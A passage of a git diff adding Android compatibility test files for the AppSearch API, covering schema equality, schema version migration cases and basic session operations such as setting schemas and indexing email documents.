+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        assertThat(schema1).isNotEqualTo(schema2);
+        assertThat(schema1.hashCode()).isNotEqualTo(schema2.hashCode());
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSchemaMigrationCtsTestBase.java b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSchemaMigrationCtsTestBase.java
new file mode 100644
index 0000000..74c9407
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSchemaMigrationCtsTestBase.java
@@ -0,0 +1,507 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.android.server.appsearch.testing.AppSearchTestUtils.checkIsBatchResultSuccess;
+import static com.android.server.appsearch.testing.AppSearchTestUtils.doGet;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.annotation.NonNull;
+import android.app.appsearch.AppSearchBatchResult;
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchMigrationHelper;
+import android.app.appsearch.AppSearchSchema;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.PutDocumentsRequest;
+import android.app.appsearch.SetSchemaRequest;
+import android.app.appsearch.SetSchemaResponse;
+
+import com.google.common.util.concurrent.ListenableFuture;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.HashSet;
+import java.util.Set;
+import java.util.concurrent.ExecutionException;
+
+/*
+ * For schema migration, we have 4 factors
+ * A. is ForceOverride set to true?
+ * B. is the schema change backwards compatible?
+ * C. did any versions change?
+ * D. is there a migration triggered for each incompatible type and no deleted types?
+ * If B is true then D could never be false, so that will give us 12 combinations.
+ *
+ *                                Trigger       Delete      first            second
+ * A      B       C       D       Migration     Types       SetSchema        SetSchema
+ * TRUE   TRUE    TRUE    TRUE    Yes                       succeeds         succeeds(noop)
+ * TRUE   TRUE    FALSE   TRUE                              succeeds         succeeds(noop)
+ * TRUE   FALSE   TRUE    TRUE    Yes                       fail             succeeds
+ * TRUE   FALSE   TRUE    FALSE   Yes           Yes         fail             succeeds
+ * TRUE   FALSE   FALSE   TRUE                  Yes         fail             succeeds
+ * TRUE   FALSE   FALSE   FALSE                 Yes         fail             succeeds
+ * FALSE  TRUE    TRUE    TRUE    Yes                       succeeds         succeeds(noop)
+ * FALSE  TRUE    FALSE   TRUE                              succeeds         succeeds(noop)
+ * FALSE  FALSE   TRUE    TRUE    Yes                       fail             succeeds
+ * FALSE  FALSE   TRUE    FALSE   Yes                       fail             throw error
+ * FALSE  FALSE   FALSE   FALSE                             fail             throw error
+ * FALSE  FALSE   FALSE   FALSE                             fail             throw error
+ */
+// TODO(b/178060626) add a platform version of this test
+public abstract class AppSearchSchemaMigrationCtsTestBase {
+
+    private static final String DB_NAME = AppSearchManager.DEFAULT_DATABASE_NAME;
+    private static final AppSearchSchema.Migrator NO_OP_MIGRATOR =
+            new AppSearchSchema.Migrator() {
+                @Override
+                public void onUpgrade(
+                        int currentVersion,
+                        int targetVersion,
+                        @NonNull AppSearchMigrationHelper helper)
+                        throws Exception {}
+            };
+
+    private AppSearchSessionShim mDb;
+
+    protected abstract ListenableFuture<AppSearchSessionShim> createSearchSession(
+            @NonNull String dbName);
+
+    @Before
+    public void setUp() throws Exception {
+        mDb = createSearchSession(DB_NAME).get();
+
+        // Cleanup whatever documents may still exist in these databases. This is needed in
+        // addition to tearDown in case a test exited without completing properly.
+        AppSearchSchema schema =
+                new AppSearchSchema.Builder("testSchema")
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("subject")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_REQUIRED)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(schema)
+                                .setForceOverride(true)
+                                .build())
+                .get();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Cleanup whatever documents may still exist in these databases.
+        mDb.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+    }
+
+    @Test
+    public void testSetSchema_migration_A_B_C_D() throws Exception {
+        // create a backwards compatible schema and update the version
+        AppSearchSchema B_C_Schema =
+                new AppSearchSchema.Builder("testSchema")
+                        .setVersion(1) // upgrade version
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("subject")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(B_C_Schema)
+                                .setMigrator("testSchema", NO_OP_MIGRATOR)
+                                .setForceOverride(true)
+                                .build())
+                .get();
+    }
+
+    @Test
+    public void testSetSchema_migration_A_B_NC_D() throws Exception {
+        // create a backwards compatible schema but don't update the version
+        AppSearchSchema B_NC_Schema =
+                new AppSearchSchema.Builder("testSchema")
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("subject")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(B_NC_Schema)
+                                .setMigrator("testSchema", NO_OP_MIGRATOR)
+                                .setForceOverride(true)
+                                .build())
+                .get();
+    }
+
+    @Test
+    public void testSetSchema_migration_A_NB_C_D() throws Exception {
+        // create a backwards incompatible schema and update the version
+        AppSearchSchema NB_C_Schema =
+                new AppSearchSchema.Builder("testSchema")
+                        .setVersion(1) // upgrade version
+                        .build();
+
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(NB_C_Schema)
+                                .setMigrator("testSchema", NO_OP_MIGRATOR)
+                                .setForceOverride(true)
+                                .build())
+                .get();
+    }
+
+    @Test
+    public void testSetSchema_migration_A_NB_C_ND() throws Exception {
+        // create a backwards incompatible schema and update the version
+        AppSearchSchema NB_C_Schema =
+                new AppSearchSchema.Builder("testSchema")
+                        .setVersion(1) // upgrade version
+                        .build();
+
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(NB_C_Schema)
+                                .setMigrator("nonexistSchema", NO_OP_MIGRATOR) // ND
+                                .setForceOverride(true)
+                                .build())
+                .get();
+    }
+
+    @Test
+    public void testSetSchema_migration_A_NB_NC_D() throws Exception {
+        // create a backwards incompatible schema but don't update the version
+        AppSearchSchema NB_NC_Schema = new AppSearchSchema.Builder("testSchema").build();
+
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(NB_NC_Schema)
+                                .setMigrator("testSchema", NO_OP_MIGRATOR)
+                                .setForceOverride(true)
+                                .build())
+                .get();
+    }
+
+    @Test
+    public void testSetSchema_migration_A_NB_NC_ND() throws Exception {
+        // create a backwards incompatible schema but don't update the version
+        AppSearchSchema $B_$C_Schema = new AppSearchSchema.Builder("testSchema").build();
+
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas($B_$C_Schema)
+                                .setMigrator("nonexistSchema", NO_OP_MIGRATOR) // ND
+                                .setForceOverride(true)
+                                .build())
+                .get();
+    }
+
+    @Test
+    public void testSetSchema_migration_NA_B_C_D() throws Exception {
+        // create a backwards compatible schema and update the version
+        AppSearchSchema B_C_Schema =
+                new AppSearchSchema.Builder("testSchema")
+                        .setVersion(1) // upgrade version
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("subject")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(B_C_Schema)
+                                .setMigrator("testSchema", NO_OP_MIGRATOR)
+                                .build())
+                .get();
+    }
+
+    @Test
+    public void testSetSchema_migration_NA_B_NC_D() throws Exception {
+        // create a backwards compatible schema but don't update the version
+        AppSearchSchema B_NC_Schema =
+                new AppSearchSchema.Builder("testSchema")
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("subject")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(B_NC_Schema)
+                                .setMigrator("testSchema", NO_OP_MIGRATOR)
+                                .setForceOverride(true)
+                                .build())
+                .get();
+    }
+
+    @Test
+    public void testSetSchema_migration_NA_NB_C_D() throws Exception {
+        // create a backwards incompatible schema and update the version
+        AppSearchSchema NB_C_Schema =
+                new AppSearchSchema.Builder("testSchema")
+                        .setVersion(1) // upgrade version
+                        .build();
+
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(NB_C_Schema)
+                                .setMigrator("testSchema", NO_OP_MIGRATOR)
+                                .build())
+                .get();
+    }
+
+    @Test
+    public void testSetSchema_migration_NA_NB_C_ND() throws Exception {
+        // create a backwards incompatible schema and update the version
+        AppSearchSchema $B_C_Schema =
+                new AppSearchSchema.Builder("testSchema")
+                        .setVersion(1) // upgrade version
+                        .build();
+
+        ExecutionException exception =
+                expectThrows(
+                        ExecutionException.class,
+                        () ->
+                                mDb.setSchema(
+                                                new SetSchemaRequest.Builder()
+                                                        .addSchemas($B_C_Schema)
+                                                        .setMigrator(
+                                                                "nonexistSchema",
+                                                                NO_OP_MIGRATOR) // ND
+                                                        .build())
+                                        .get());
+        assertThat(exception).hasMessageThat().contains("Schema is incompatible.");
+    }
+
+    @Test
+    public void testSetSchema_migration_NA_NB_NC_D() throws Exception {
+        // create a backwards incompatible schema but don't update the version
+        AppSearchSchema $B_$C_Schema = new AppSearchSchema.Builder("testSchema").build();
+
+        ExecutionException exception =
+                expectThrows(
+                        ExecutionException.class,
+                        () ->
+                                mDb.setSchema(
+                                                new SetSchemaRequest.Builder()
+                                                        .addSchemas($B_$C_Schema)
+                                                        .setMigrator("testSchema", NO_OP_MIGRATOR)
+                                                        .build())
+                                        .get());
+        assertThat(exception).hasMessageThat().contains("Schema is incompatible.");
+    }
+
+    @Test
+    public void testSetSchema_migration_NA_NB_NC_ND() throws Exception {
+        // create a backwards incompatible schema but don't update the version
+        AppSearchSchema $B_$C_Schema = new AppSearchSchema.Builder("testSchema").build();
+
+        ExecutionException exception =
+                expectThrows(
+                        ExecutionException.class,
+                        () ->
+                                mDb.setSchema(
+                                                new SetSchemaRequest.Builder()
+                                                        .addSchemas($B_$C_Schema)
+                                                        .setMigrator(
+                                                                "nonexistSchema",
+                                                                NO_OP_MIGRATOR) // ND
+                                                        .build())
+                                        .get());
+        assertThat(exception).hasMessageThat().contains("Schema is incompatible.");
+    }
+
+    @Test
+    public void testSetSchema_migrate() throws Exception {
+        AppSearchSchema schema =
+                new AppSearchSchema.Builder("testSchema")
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("subject")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_REQUIRED)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("To")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_REQUIRED)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(schema)
+                                .setForceOverride(true)
+                                .build())
+                .get();
+
+        GenericDocument doc1 =
+                new GenericDocument.Builder<>("uri1", "testSchema")
+                        .setPropertyString("subject", "testPut example1")
+                        .setPropertyString("To", "testTo example1")
+                        .build();
+        GenericDocument doc2 =
+                new GenericDocument.Builder<>("uri2", "testSchema")
+                        .setPropertyString("subject", "testPut example2")
+                        .setPropertyString("To", "testTo example2")
+                        .build();
+
+        AppSearchBatchResult<String, Void> result =
+                checkIsBatchResultSuccess(
+                        mDb.put(
+                                new PutDocumentsRequest.Builder()
+                                        .addGenericDocuments(doc1, doc2)
+                                        .build()));
+        assertThat(result.getSuccesses()).containsExactly("uri1", null, "uri2", null);
+        assertThat(result.getFailures()).isEmpty();
+
+        // create new schema type and upgrade the version number
+        AppSearchSchema newSchema =
+                new AppSearchSchema.Builder("testSchema")
+                        .setVersion(1) // upgrade version
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("subject")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+
+        // set the new schema to AppSearch, the first document will be migrated successfully but the
+        // second one will be failed.
+        AppSearchSchema.Migrator migrator =
+                new AppSearchSchema.Migrator() {
+                    @Override
+                    public void onUpgrade(
+                            int currentVersion,
+                            int targetVersion,
+                            @NonNull AppSearchMigrationHelper helper)
+                            throws Exception {
+                        helper.queryAndTransform(
+                                "testSchema",
+                                (currentVersion1, finalVersion1, document) -> {
+                                    if (document.getUri().equals("uri2")) {
+                                        return new GenericDocument.Builder<>(
+                                                        document.getUri(), document.getSchemaType())
+                                                .setPropertyString("subject", "testPut example2")
+                                                .setPropertyString(
+                                                        "to",
+                                                        "Except to fail, property not in the"
+                                                            + " schema")
+                                                .build();
+                                    }
+                                    return new GenericDocument.Builder<>(
+                                                    document.getUri(), document.getSchemaType())
+                                            .setPropertyString(
+                                                    "subject", "testPut example1 migrated")
+                                            .setCreationTimestampMillis(12345L)
+                                            .build();
+                                });
+                    }
+                };
+        SetSchemaResponse setSchemaResponse =
+                mDb.setSchema(
+                                new SetSchemaRequest.Builder()
+                                        .addSchemas(newSchema)
+                                        .setMigrator("testSchema", migrator)
+                                        .build())
+                        .get();
+
+        // Check the schema has been saved
+        Set<AppSearchSchema> actualSchema = new HashSet<>();
+        actualSchema.add(newSchema);
+        assertThat(actualSchema).isEqualTo(mDb.getSchema().get());
+
+        assertThat(setSchemaResponse.getDeletedTypes()).isEmpty();
+        assertThat(setSchemaResponse.getIncompatibleTypes()).containsExactly("testSchema");
+        assertThat(setSchemaResponse.getMigratedTypes()).containsExactly("testSchema");
+
+        // Check migrate the first document is success
+        GenericDocument expected =
+                new GenericDocument.Builder<>("uri1", "testSchema")
+                        .setPropertyString("subject", "testPut example1 migrated")
+                        .setCreationTimestampMillis(12345L)
+                        .build();
+        assertThat(doGet(mDb, GenericDocument.DEFAULT_NAMESPACE, "uri1")).containsExactly(expected);
+
+        // Check migrate the second document is fail.
+        assertThat(setSchemaResponse.getMigrationFailures()).hasSize(1);
+        SetSchemaResponse.MigrationFailure migrationFailure =
+                setSchemaResponse.getMigrationFailures().get(0);
+        assertThat(migrationFailure.getNamespace()).isEqualTo(GenericDocument.DEFAULT_NAMESPACE);
+        assertThat(migrationFailure.getSchemaType()).isEqualTo("testSchema");
+        assertThat(migrationFailure.getUri()).isEqualTo("uri2");
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSessionCtsTestBase.java b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSessionCtsTestBase.java
new file mode 100644
index 0000000..44b5251
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSessionCtsTestBase.java
@@ -0,0 +1,2719 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static android.app.appsearch.AppSearchResult.RESULT_INVALID_SCHEMA;
+
+import static com.android.server.appsearch.testing.AppSearchTestUtils.checkIsBatchResultSuccess;
+import static com.android.server.appsearch.testing.AppSearchTestUtils.convertSearchResultsToDocuments;
+import static com.android.server.appsearch.testing.AppSearchTestUtils.doGet;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.annotation.NonNull;
+import android.app.appsearch.AppSearchBatchResult;
+import android.app.appsearch.AppSearchEmail;
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchResult;
+import android.app.appsearch.AppSearchSchema;
+import android.app.appsearch.AppSearchSchema.PropertyConfig;
+import android.app.appsearch.AppSearchSchema.StringPropertyConfig;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.GetByUriRequest;
+import android.app.appsearch.PutDocumentsRequest;
+import android.app.appsearch.RemoveByUriRequest;
+import android.app.appsearch.ReportUsageRequest;
+import android.app.appsearch.SearchResult;
+import android.app.appsearch.SearchResultsShim;
+import android.app.appsearch.SearchSpec;
+import android.app.appsearch.SetSchemaRequest;
+import android.app.appsearch.exceptions.AppSearchException;
+import android.content.Context;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import com.google.common.util.concurrent.ListenableFuture;
+import com.google.common.util.concurrent.MoreExecutors;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ExecutorService;
+
+public abstract class AppSearchSessionCtsTestBase {
+    private static final String DB_NAME_1 = AppSearchManager.DEFAULT_DATABASE_NAME;
+    private static final String DB_NAME_2 = "testDb2";
+
+    private AppSearchSessionShim mDb1;
+    private AppSearchSessionShim mDb2;
+
+    protected abstract ListenableFuture<AppSearchSessionShim> createSearchSession(
+            @NonNull String dbName);
+
+    protected abstract ListenableFuture<AppSearchSessionShim> createSearchSession(
+            @NonNull String dbName, @NonNull ExecutorService executor);
+
+    @Before
+    public void setUp() throws Exception {
+        Context context = ApplicationProvider.getApplicationContext();
+
+        mDb1 = createSearchSession(DB_NAME_1).get();
+        mDb2 = createSearchSession(DB_NAME_2).get();
+
+        // Cleanup whatever documents may still exist in these databases. This is needed in
+        // addition to tearDown in case a test exited without completing properly.
+        cleanup();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Cleanup whatever documents may still exist in these databases.
+        cleanup();
+    }
+
+    private void cleanup() throws Exception {
+        mDb1.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+    }
+
+    @Test
+    public void testSetSchema() throws Exception {
+        AppSearchSchema emailSchema =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .addProperty(
+                                new StringPropertyConfig.Builder("body")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(emailSchema).build()).get();
+    }
+
+    @Test
+    @Ignore("TODO(b/177266929)")
+    public void testSetSchema_Failure() throws Exception {
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+        AppSearchSchema emailSchema1 =
+                new AppSearchSchema.Builder(AppSearchEmail.SCHEMA_TYPE).build();
+
+        Throwable throwable =
+                expectThrows(
+                                ExecutionException.class,
+                                () ->
+                                        mDb1.setSchema(
+                                                        new SetSchemaRequest.Builder()
+                                                                .addSchemas(emailSchema1)
+                                                                .build())
+                                                .get())
+                        .getCause();
+        assertThat(throwable).isInstanceOf(AppSearchException.class);
+        AppSearchException exception = (AppSearchException) throwable;
+        assertThat(exception.getResultCode()).isEqualTo(RESULT_INVALID_SCHEMA);
+        assertThat(exception).hasMessageThat().contains("Schema is incompatible.");
+        assertThat(exception).hasMessageThat().contains("Incompatible types: {builtin:Email}");
+
+        throwable =
+                expectThrows(
+                                ExecutionException.class,
+                                () -> mDb1.setSchema(new SetSchemaRequest.Builder().build()).get())
+                        .getCause();
+
+        assertThat(throwable).isInstanceOf(AppSearchException.class);
+        exception = (AppSearchException) throwable;
+        assertThat(exception.getResultCode()).isEqualTo(RESULT_INVALID_SCHEMA);
+        assertThat(exception).hasMessageThat().contains("Schema is incompatible.");
+        assertThat(exception).hasMessageThat().contains("Deleted types: {builtin:Email}");
+    }
+
+    @Test
+    public void testSetSchema_updateVersion() throws Exception {
+        AppSearchSchema oldSchema =
+                new AppSearchSchema.Builder("Email")
+                        .setVersion(1)
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .addProperty(
+                                new StringPropertyConfig.Builder("body")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(oldSchema).build()).get();
+
+        Set<AppSearchSchema> actualSchemaTypes = mDb1.getSchema().get();
+        assertThat(actualSchemaTypes).containsExactly(oldSchema);
+
+        AppSearchSchema newSchema =
+                new AppSearchSchema.Builder("Email")
+                        .setVersion(2)
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .addProperty(
+                                new StringPropertyConfig.Builder("body")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(newSchema).build()).get();
+
+        actualSchemaTypes = mDb1.getSchema().get();
+        assertThat(actualSchemaTypes).containsExactly(newSchema);
+    }
+
+    @Test
+    public void testPutDocuments() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+
+        AppSearchBatchResult<String, Void> result =
+                checkIsBatchResultSuccess(
+                        mDb1.put(
+                                new PutDocumentsRequest.Builder()
+                                        .addGenericDocuments(email)
+                                        .build()));
+        assertThat(result.getSuccesses()).containsExactly("uri1", null);
+        assertThat(result.getFailures()).isEmpty();
+    }
+
+    @Test
+    public void testUpdateSchema() throws Exception {
+        // Schema registration
+        AppSearchSchema oldEmailSchema =
+                new AppSearchSchema.Builder(AppSearchEmail.SCHEMA_TYPE)
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        AppSearchSchema newEmailSchema =
+                new AppSearchSchema.Builder(AppSearchEmail.SCHEMA_TYPE)
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .addProperty(
+                                new StringPropertyConfig.Builder("body")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        AppSearchSchema giftSchema =
+                new AppSearchSchema.Builder("Gift")
+                        .addProperty(
+                                new AppSearchSchema.Int64PropertyConfig.Builder("price")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .build())
+                        .build();
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(oldEmailSchema).build()).get();
+
+        // Try to index a gift. This should fail as it's not in the schema.
+        GenericDocument gift =
+                new GenericDocument.Builder<>("gift1", "Gift").setPropertyLong("price", 5).build();
+        AppSearchBatchResult<String, Void> result =
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(gift).build()).get();
+        assertThat(result.isSuccess()).isFalse();
+        assertThat(result.getFailures().get("gift1").getResultCode())
+                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+        // Update the schema to include the gift and update email with a new field
+        mDb1.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(newEmailSchema, giftSchema)
+                                .build())
+                .get();
+
+        // Try to index the document again, which should now work
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(gift).build()));
+
+        // Indexing an email with a body should also work
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("email1")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email).build()));
+    }
+
+    @Test
+    @Ignore("TODO(b/177266929)")
+    public void testRemoveSchema() throws Exception {
+        // Schema registration
+        AppSearchSchema emailSchema =
+                new AppSearchSchema.Builder(AppSearchEmail.SCHEMA_TYPE)
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchemas(emailSchema).build()).get();
+
+        // Index an email and check it present.
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("email1").setSubject("testPut example").build();
+        checkIsBatchResultSuccess(
+                mDb1.put(new PutDocumentsRequest.Builder().addGenericDocuments(email).build()));
